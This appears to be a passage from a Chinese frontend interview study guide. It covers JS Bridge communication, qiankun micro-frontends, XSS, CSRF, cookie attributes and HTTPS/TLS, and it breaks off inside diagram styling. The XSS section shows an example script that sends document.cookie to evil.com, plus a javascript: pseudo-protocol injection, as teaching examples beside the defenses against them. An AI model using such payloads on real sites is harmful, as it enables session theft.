.edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-HRYynQl1DtuzPynx .marker{fill:#333333;stroke:#333333;}#mermaid-svg-HRYynQl1DtuzPynx .marker.cross{stroke:#333333;}#mermaid-svg-HRYynQl1DtuzPynx svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-HRYynQl1DtuzPynx p{margin:0;}#mermaid-svg-HRYynQl1DtuzPynx .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HRYynQl1DtuzPynx text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-HRYynQl1DtuzPynx .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-HRYynQl1DtuzPynx .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-HRYynQl1DtuzPynx .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-HRYynQl1DtuzPynx .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-HRYynQl1DtuzPynx #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-HRYynQl1DtuzPynx .sequenceNumber{fill:white;}#mermaid-svg-HRYynQl1DtuzPynx #sequencenumber{fill:#333;}#mermaid-svg-HRYynQl1DtuzPynx #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-HRYynQl1DtuzPynx .messageText{fill:#333;stroke:none;}#mermaid-svg-HRYynQl1DtuzPynx .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HRYynQl1DtuzPynx .labelText,#mermaid-svg-HRYynQl1DtuzPynx .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-HRYynQl1DtuzPynx .loopText,#mermaid-svg-HRYynQl1DtuzPynx .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-HRYynQl1DtuzPynx .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-HRYynQl1DtuzPynx .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-HRYynQl1DtuzPynx .noteText,#mermaid-svg-HRYynQl1DtuzPynx .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-HRYynQl1DtuzPynx .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HRYynQl1DtuzPynx .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HRYynQl1DtuzPynx .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-HRYynQl1DtuzPynx .actorPopupMenu{position:absolute;}#mermaid-svg-HRYynQl1DtuzPynx .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-HRYynQl1DtuzPynx .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-HRYynQl1DtuzPynx .actor-man circle,#mermaid-svg-HRYynQl1DtuzPynx line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-HRYynQl1DtuzPynx :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 创建隐藏 iframe,设置 src = "myapp://action?method=xxx&params=yyy" 触发页面导航请求(iframe 加载这个 URL) 回调拦截钩子(shouldOverrideUrlLoading 等) 判断 scheme 是否为约定协议(如 "myapp://"),解析出 method/params 返回 true,阻止真正跳转(不让浏览器真的去加载这个不存在的网页) 执行对应的 Native 方法 evaluateJavaScript("window.__bridgeCallbacks'xxx'(result)") 执行注入的 JS,触发回调函数,JS 拿到 Native 执行结果

为什么是"单向、需要配合回调": Scheme 跳转本身只是把一段字符串参数传给了 Native,浏览器导航请求没有"返回值"的概念------Native 必须另外主动调用 evaluateJavaScript 把结果注入回页面,才能让 JS "收到"执行结果,所以说它是异步、需要配合回调机制实现双向通信,而不是像函数调用那样同步拿到返回值。

WebView 安全要点(面试常问):

  • Android addJavascriptInterface 历史漏洞 :Android 4.2 以前,注入的 Java 对象里所有 公开方法(包括反射能调用到的系统 API)都能被页面 JS 访问,恶意页面可以借此执行任意代码;4.2+ 要求显式加 @JavascriptInterface 注解才能暴露给 JS,但仍建议只在加载可信域名的 WebView 里注入 Bridge 对象。
  • Scheme 白名单 :Native 侧必须对拦截到的自定义协议做白名单校验 (只认识自己约定的 myapp:// 前缀),防止页面伪造任意 scheme 触发未预期的 Native 能力(比如页面被 XSS 注入后,诱导执行敏感的 Native 调用,如拉起支付、读取通讯录)。
  • 加载域名校验:WebView 应该限制只能加载自己业务域名下的页面(类似白名单),否则一旦 WebView 被诱导加载了恶意第三方页面,而 Bridge 对象又全局暴露,相当于给了恶意页面调用 Native 能力的入口。
  • postMessage 的 origin 校验 :无论是网页间 postMessage 还是 WebView 场景,接收消息一侧必须校验 event.origin 是否是预期的来源,不能来者不拒地信任任何 message 事件。
ts 复制代码
// 伪代码:统一封装,屏蔽 iOS/Android 底层差异
const bridge = {
  invoke(method: string, params: Record<string, unknown>): Promise<unknown> {
    return new Promise((resolve, reject) => {
      const callbackId = generateUniqueId();
      // 注册一次性回调,等 Native 执行完再调用
      window.__bridgeCallbacks[callbackId] = { resolve, reject };

      if (window.webkit?.messageHandlers?.nativeBridge) {
        // iOS WKWebView
        window.webkit.messageHandlers.nativeBridge.postMessage({ method, params, callbackId });
      } else if (window.AndroidBridge) {
        // Android
        window.AndroidBridge.invoke(JSON.stringify({ method, params, callbackId }));
      }
    });
  },
};

// Native 执行完毕后调用:
// window.__bridgeCallbacks[callbackId].resolve(result)

Native 调用 JS: 通常比较简单,直接执行一段 JS 代码字符串------iOS WKWebView.evaluateJavaScript(...),Android WebView.evaluateJavascript(...),本质上是把一段拼好的 JS 代码注入 WebView 执行,调用提前挂在 window 上的回调函数。

7.2 React Native 里的通信(Bridge / JSI / TurboModules)

中文:这是另一个层面的"JS Bridge"概念------不是 H5 页面和容器 App 之间,而是 React Native 框架内部,JS 线程和 Native 线程之间的通信。

  • 旧架构(Bridge):JS 和 Native 是两个独立线程,通过一个异步、序列化(JSON 字符串)、批量化的消息队列通信------每次调用都要经过"打包成 JSON → 跨线程传递 → 反序列化"的过程,有性能开销,而且是异步的,没法同步拿到 Native 返回值。
  • 新架构(JSI + TurboModules + Fabric):JSI(JavaScript Interface)让 JS 引擎可以直接持有 Native 对象的引用并同步调用其方法,不再需要 JSON 序列化和消息队列,大幅降低通信开销,也让同步调用成为可能;TurboModules 基于 JSI 实现原生模块的按需加载(不用像旧架构一样启动时就初始化所有模块);Fabric 是新的渲染层,同样基于 JSI 让 JS 和 UI 层的交互更高效。

面试总结话术:

中文:"JS Bridge 要分两个场景理解:一是 Hybrid App 里 H5 页面和 Native 容器之间的通信,常见方案是 WebView 注入全局对象或者 postMessage,本质是在两个隔离的运行环境之间搭一座消息传递的桥;二是 React Native 框架内部 JS 线程和 Native 线程的通信,经历了从旧架构'异步 JSON 消息队列'到新架构'JSI 同步直接调用'的演进,核心都是在解决'两个独立运行时之间如何高效、安全地传递数据和调用能力'这个问题。"


8. 微前端(Micro Frontend,以乾坤 qiankun 为代表)

8.1 为什么需要微前端

中文:当一个大型前端项目被多个团队共同维护、技术栈可能不统一(有的用 Vue 有的用 React)、或者单个应用体积/构建时间已经严重影响开发效率时,就需要把一个巨石应用(Monolith)拆分成多个可以独立开发、独立部署、运行时再组合到一起的子应用------这就是微前端的核心诉求,参考了后端微服务的拆分思路。

8.2 乾坤(qiankun)的核心原理

qiankun 是什么: 蚂蚁金服开源的微前端框架,基于 single-spa 做了更友好的封装(样式隔离、JS 沙箱、资源预加载等开箱即用)。

核心技术点:

  1. 应用加载机制 ------ HTML Entry:

    中文:qiankun 不要求子应用打包成特定格式,而是直接拉取子应用的 HTML 入口文件,解析出里面的 <script>、<link> 等资源地址,用 fetch 拉取这些资源内容,再手动控制脚本的执行时机和执行上下文------这样子应用几乎不需要为了接入微前端而改造打包配置(相比 Webpack Module Federation 需要子应用暴露特定的 remoteEntry.js 更"无感")。

  2. JS 沙箱隔离:

    中文:多个子应用在同一个浏览器页面里运行,如果都往 window 上挂全局变量,会互相污染。qiankun 提供了几种沙箱实现:

    • 快照沙箱(SnapshotSandbox) :应用激活前先给 window 打快照,应用卸载时对比快照还原 window------简单但同一时间只能激活一个沙箱(不支持多实例同时运行)。
    • 基于 Proxy 的沙箱(ProxySandbox / LegacySandbox) :给每个子应用一个 Proxy 包装过的"虚拟 window",子应用读写的 window.xxx 实际上读写的是这个 Proxy 拦截后的、专属于该子应用的隔离对象,支持多个子应用同时挂载、互不干扰。
  3. 样式隔离:

    中文:有几种方案------Shadow DOM 隔离(彻底隔离,但一些全局样式/第三方组件库可能在 Shadow DOM 里表现异常);scoped CSS(给子应用的每条 CSS 规则自动加一个该应用专属的属性选择器前缀,类似 Vue 的 scoped 实现思路);动态增删 <style>/<link> 标签(子应用卸载时移除它注入的样式,激活时重新注入)。

  4. 应用间通信:

    中文:qiankun 提供 initGlobalState 创建一个全局状态对象,主应用和各子应用都可以 onGlobalStateChange 监听变化、setGlobalState 修改状态,是一种简化版的发布订阅(pub-sub)通信机制,避免子应用之间直接耦合调用。

8.3 qiankun vs Webpack Module Federation(面试常见对比)

维度 qiankun Module Federation
接入成本 低------子应用基本不用改构建配置,只需导出几个生命周期钩子(bootstrap/mount/unmount) 较高------需要用支持 MF 的打包工具(Webpack 5 / Vite 插件),显式配置 exposes/remotes
隔离粒度 整个子应用级别(一个子应用=一个独立运行时+沙箱) 可以细到"单个模块/组件"级别的共享和远程加载,更灵活
依赖共享 子应用各自独立打包,公共依赖(React 等)容易重复打包,需要额外配置 externals 去重 原生支持 shared 配置,多个应用可以共享同一份 React 实例,减少重复加载
典型场景 整体迁移遗留系统、多技术栈(Vue+React)并存、按业务线拆分独立子应用 同一技术栈下,希望在组件/模块粒度做运行时共享和动态加载(比如公共组件库跨应用复用)

面试总结话术:

中文:"微前端解决的是大型前端项目的团队协作和技术栈隔离问题------核心三件事:应用加载与生命周期管理、JS 运行时沙箱隔离、样式隔离。qiankun 用 HTML Entry + Proxy 沙箱的方式做到子应用'零改造接入',比较适合多团队、多技术栈共存、按业务线拆分的场景;如果是同一技术栈、想要更细粒度的模块级别共享和远程加载,Webpack/Vite 的 Module Federation 是另一个主流选择,两者不是互斥的,有些方案甚至会组合使用(qiankun 做应用级隔离 + MF 做公共依赖共享)。"


9.1 XSS(跨站脚本攻击,Cross-Site Scripting)

原理: 攻击者想办法让自己构造的脚本 在受害者浏览器 、以受害者所在页面的身份执行------因为脚本运行在目标页面的源(origin)下,所以能读取该页面能访问的所有东西(Cookie、localStorage、DOM、甚至是正在输入的表单内容)。

三种类型:

类型 原理 例子
存储型(Stored XSS) 恶意脚本被存到服务端(如评论、用户昵称字段),每个访问该页面的用户都会执行这段脚本 用户在评论框里提交 <script>fetch('https://evil.com?c='+document.cookie)</script>,后端未做转义直接存库并原样渲染给所有人
反射型(Reflected XSS) 恶意脚本不落库,而是通过 URL 参数等方式,被服务端直接"反射"回页面里执行,需要诱导用户点击带毒链接 https://site.com/search?q=<script>...</script>,后端把 q 参数未转义地直接输出到搜索结果页
DOM 型(DOM-based XSS) 全程不经过服务端,纯粹是前端 JS 自己 把不可信数据写进了危险的 DOM API(innerHTML、document.write、eval) element.innerHTML = location.hash.slice(1),攻击者诱导用户访问带恶意 # 片段的链接

React 场景下的防御:

  • React 默认会把 JSX 里的变量当作纯文本 转义渲染({userInput} 是安全的),真正的风险点只有 dangerouslySetInnerHTML------如果必须渲染富文本,要先用 DOMPurify 消毒。
  • 不要把不可信字符串直接拼进 href/src(防止 javascript:alert(1) 这种伪协议注入)。
  • 后端也要做输出编码,不能只依赖前端框架的转义------防御要做在数据最终"被当作 HTML/JS 解析"的那一层。
  • CSP(Content-Security-Policy) 作为纵深防御的最后一道关卡:即使出现了 XSS 漏洞点,严格的 script-src 策略(禁止内联脚本、禁止 unsafe-eval)也能让注入的脚本无法执行。

受害者浏览器 服务端 攻击者 受害者浏览器 服务端 攻击者 #mermaid-svg-WZd76DpwtzT1Uqrz{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-WZd76DpwtzT1Uqrz .error-icon{fill:#552222;}#mermaid-svg-WZd76DpwtzT1Uqrz .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-WZd76DpwtzT1Uqrz .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-WZd76DpwtzT1Uqrz .marker{fill:#333333;stroke:#333333;}#mermaid-svg-WZd76DpwtzT1Uqrz .marker.cross{stroke:#333333;}#mermaid-svg-WZd76DpwtzT1Uqrz svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-WZd76DpwtzT1Uqrz p{margin:0;}#mermaid-svg-WZd76DpwtzT1Uqrz .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-WZd76DpwtzT1Uqrz text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-WZd76DpwtzT1Uqrz .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-WZd76DpwtzT1Uqrz .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-WZd76DpwtzT1Uqrz #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-WZd76DpwtzT1Uqrz .sequenceNumber{fill:white;}#mermaid-svg-WZd76DpwtzT1Uqrz #sequencenumber{fill:#333;}#mermaid-svg-WZd76DpwtzT1Uqrz #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-WZd76DpwtzT1Uqrz .messageText{fill:#333;stroke:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-WZd76DpwtzT1Uqrz .labelText,#mermaid-svg-WZd76DpwtzT1Uqrz .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .loopText,#mermaid-svg-WZd76DpwtzT1Uqrz .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-WZd76DpwtzT1Uqrz .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-WZd76DpwtzT1Uqrz .noteText,#mermaid-svg-WZd76DpwtzT1Uqrz .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-WZd76DpwtzT1Uqrz .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-WZd76DpwtzT1Uqrz .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-WZd76DpwtzT1Uqrz .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-WZd76DpwtzT1Uqrz .actorPopupMenu{position:absolute;}#mermaid-svg-WZd76DpwtzT1Uqrz .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-WZd76DpwtzT1Uqrz .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-WZd76DpwtzT1Uqrz .actor-man circle,#mermaid-svg-WZd76DpwtzT1Uqrz line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-WZd76DpwtzT1Uqrz :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 提交带 <script> 的评论(存储型) 未转义,直接存入数据库 访问该页面 返回 HTML(包含恶意 <script>) 浏览器解析并执行恶意脚本(以该站点身份运行) 恶意脚本读取 document.cookie 并发送给攻击者服务器


9.2 CSRF(跨站请求伪造,Cross-Site Request Forgery)

原理: 攻击者不需要 偷到用户的 Cookie,而是利用浏览器"自动带上 Cookie"这个特性 ,诱导已登录用户的浏览器在不知情的情况下,向目标站点发起一个"看起来像是用户本人发起"的请求。

典型攻击流程:
恶意网站 (evil.com) 银行网站 (bank.com) 用户浏览器 恶意网站 (evil.com) 银行网站 (bank.com) 用户浏览器 #mermaid-svg-2L1Dr6HvFmdFXfIK{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-2L1Dr6HvFmdFXfIK .error-icon{fill:#552222;}#mermaid-svg-2L1Dr6HvFmdFXfIK .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-2L1Dr6HvFmdFXfIK .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-2L1Dr6HvFmdFXfIK .marker{fill:#333333;stroke:#333333;}#mermaid-svg-2L1Dr6HvFmdFXfIK .marker.cross{stroke:#333333;}#mermaid-svg-2L1Dr6HvFmdFXfIK svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-2L1Dr6HvFmdFXfIK p{margin:0;}#mermaid-svg-2L1Dr6HvFmdFXfIK .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-2L1Dr6HvFmdFXfIK text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-2L1Dr6HvFmdFXfIK .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-2L1Dr6HvFmdFXfIK .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-2L1Dr6HvFmdFXfIK #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-2L1Dr6HvFmdFXfIK .sequenceNumber{fill:white;}#mermaid-svg-2L1Dr6HvFmdFXfIK #sequencenumber{fill:#333;}#mermaid-svg-2L1Dr6HvFmdFXfIK #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-2L1Dr6HvFmdFXfIK .messageText{fill:#333;stroke:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-2L1Dr6HvFmdFXfIK .labelText,#mermaid-svg-2L1Dr6HvFmdFXfIK .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .loopText,#mermaid-svg-2L1Dr6HvFmdFXfIK .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-2L1Dr6HvFmdFXfIK .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-2L1Dr6HvFmdFXfIK .noteText,#mermaid-svg-2L1Dr6HvFmdFXfIK .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-2L1Dr6HvFmdFXfIK .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-2L1Dr6HvFmdFXfIK .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-2L1Dr6HvFmdFXfIK .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-2L1Dr6HvFmdFXfIK .actorPopupMenu{position:absolute;}#mermaid-svg-2L1Dr6HvFmdFXfIK .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-2L1Dr6HvFmdFXfIK .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-2L1Dr6HvFmdFXfIK .actor-man circle,#mermaid-svg-2L1Dr6HvFmdFXfIK line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-2L1Dr6HvFmdFXfIK :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 正常登录,浏览器保存 Cookie(未设置 SameSite) 诱导用户访问恶意页面(如钓鱼邮件链接) 页面里有一个自动提交的隐藏表单,action 指向 bank.com/transfer 浏览器自动携带 bank.com 的 Cookie 发起转账请求(用户完全不知情) 服务端看到合法 Cookie,以为是用户本人操作,执行转账

为什么 CSRF 能得逞: 浏览器的 Cookie 机制是按域名自动携带的,不管这个请求是用户主动点出来的,还是某个恶意页面在后台偷偷发起的------只要目标域名匹配,Cookie 就会被自动带上。

防御手段:

  • SameSite Cookie 属性(最核心、现代浏览器默认启用的防线)------见下方 9.3。
  • CSRF Token (双重提交 Cookie / 同步器令牌模式):服务端给页面下发一个随机 token,要求每个"状态变更"请求(POST/PUT/DELETE)必须在请求体或自定义请求头里带上这个 token,并与服务端记录的值比对。因为跨站的恶意页面读不到这个 token(它存在于目标站点页面的 DOM/Cookie 里,受同源策略保护),所以伪造的请求缺少这个 token,会被服务端拒绝。
  • 校验 Origin/Referer 请求头:服务端检查请求来源是否是自己的域名。
  • Bearer Token 认证天然抗 CSRF :因为 Token 存在 Authorization 请求头里,需要 JS 主动读取并设置,浏览器不会像 Cookie 那样自动附加,跨站页面没有能力伪造这个头。

Cookie 的几个关键属性:

属性 作用
httpOnly 禁止 JavaScript 通过 document.cookie 读取该 Cookie------只能被浏览器自动在 HTTP 请求里携带,用来防止 XSS 窃取 Cookie(即使页面被注入了恶意脚本,脚本也读不到这个 Cookie)
Secure 只允许在 HTTPS 连接下传输该 Cookie,HTTP 明文连接不会发送,防止被中间人窃听
SameSite=Strict 完全禁止跨站请求携带该 Cookie,包括从其他网站点击链接跳转过来的第一个请求------最安全,但可能影响正常的跨站导航场景(比如从邮件链接点进来不会带登录态)
SameSite=Lax(现代浏览器默认值) 允许"安全的"跨站导航(比如 <a> 链接点击、GET 跳转)携带 Cookie,但禁止 跨站的 POST 表单提交、fetch/XHR 等请求携带------刚好能防住大部分 CSRF 攻击场景(CSRF 常利用自动提交的表单或脚本发起的请求)
SameSite=None 允许任意跨站请求携带该 Cookie(必须同时设置 Secure),用于真正需要跨域共享登录态的场景(如第三方嵌入、SSO)
Domain/Path 限定 Cookie 在哪些域名/路径下生效
Max-Age/Expires 过期时间,不设置则是会话级 Cookie(关闭浏览器即失效)

跨域请求如何携带 Cookie(前端常见踩坑点):

中文:浏览器默认情况下,跨域的 fetch/XHR 请求不会自动携带 Cookie,必须前端显式声明:

  • fetch(url, { credentials: 'include' })
  • axios.defaults.withCredentials = true

同时服务端必须配合:

  • 响应头 Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Origin 不能 写通配符 *,必须回显具体的请求来源域名
  • Cookie 本身要设置 SameSite=None; Secure(否则浏览器照样会拦截跨站 Cookie)

这几个条件缺一不可,是面试里经常被问到的"为什么我配了 CORS,Cookie 还是带不过去"的根本原因。

面试总结话术:

中文:"httpOnly 防的是 XSS 窃取 Cookie 本身;Secure 防的是传输层被窃听;SameSite 防的是 CSRF 伪造跨站请求。三者分别对应 Cookie 安全的三个不同维度------能不能被 JS 读、能不能被明文传输、能不能被跨站请求带上------现代浏览器的默认行为(SameSite=Lax)已经把 CSRF 的风险降低了不少,但后端仍应该做 CSRF Token 校验作为纵深防御,不能完全依赖浏览器默认策略。"


9.4 HTTP vs HTTPS

中文:HTTP 是明文传输协议,任何处于网络链路中间的节点(公共 WiFi 热点、运营商、中间代理)都能窃听 甚至篡改 传输内容。HTTPS = HTTP + TLS/SSL 加密层,在应用层和传输层(TCP)之间插入一层加密通道,提供三个核心保障:

  1. 机密性(Confidentiality)------内容被加密,中间人看不到明文。
  2. 完整性(Integrity)------传输内容被篡改会被检测出来(基于消息认证码 MAC)。
  3. 身份认证(Authentication)------通过数字证书确认你连接的确实是目标服务器,而不是冒充者(防中间人攻击)。

9.5 对称加密 vs 非对称加密

对称加密(Symmetric) 非对称加密(Asymmetric)
密钥 加密和解密用同一把密钥 一对密钥:公钥 (公开)加密,私钥(保密)解密(或反过来,私钥签名、公钥验签)
速度 快,计算开销小,适合加密大量数据 慢,计算开销大(涉及大数运算),不适合加密大量数据
密钥分发难题 致命问题:双方必须提前通过某种安全方式共享同一把密钥,如果直接在网络上明文传输这把密钥,等于被中间人直接窃取 公钥可以公开传播,不需要担心被窃听------任何人都能用公钥加密,但只有持有私钥的人才能解密
常见算法 AES、ChaCha20 RSA、ECC(椭圆曲线)
在 HTTPS 里的角色 用于加密实际传输的业务数据(性能要求高) 用于TLS 握手阶段安全地协商出一把对称密钥(也就是"非对称加密解决密钥分发问题,对称加密解决性能问题")

为什么 HTTPS 是"先非对称、后对称"的混合模式:

中文:如果全程用非对称加密传输所有业务数据,性能开销太大;如果全程用对称加密,又会遇到"最开始这把共享密钥怎么安全地交换给对方"的先有鸡还是先有蛋问题。解决方案就是混合加密 :先用非对称加密,在握手阶段安全地协商出一把临时的对称密钥(Session Key),之后双方用这把对称密钥做实际数据传输的加解密------兼顾了安全性和性能。


9.6 SSL/TLS 证书与握手流程

数字证书解决的问题: 单纯的公钥加密只解决了"内容不被窃听",但没解决"你怎么确定对方的公钥真的属于你要访问的那个服务器,而不是中间人冒充的"------这就是**数字证书 + CA(证书颁发机构,Certificate Authority)**要解决的问题。

证书链信任机制:

中文:浏览器/操作系统内置了一批受信任的根证书颁发机构(Root CA)的公钥。网站的证书由某个 CA(或者 CA 下面的中间机构)用自己的私钥签名,里面包含了网站的域名、公钥、有效期等信息。浏览器拿到网站证书后,用 CA 的公钥验证这个签名是否有效------层层回溯到浏览器已经信任的根证书为止,这个验证链条就叫"证书链"。如果证书是自签名的、过期的、域名不匹配的,浏览器就会报"不安全连接"警告。

TLS 握手流程(以 TLS 1.2 为例,面试画图题):
服务器 浏览器 服务器 浏览器 #mermaid-svg-Kx2pSUQ6pHmEhukH{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-Kx2pSUQ6pHmEhukH .error-icon{fill:#552222;}#mermaid-svg-Kx2pSUQ6pHmEhukH .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-Kx2pSUQ6pHmEhukH .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-Kx2pSUQ6pHmEhukH 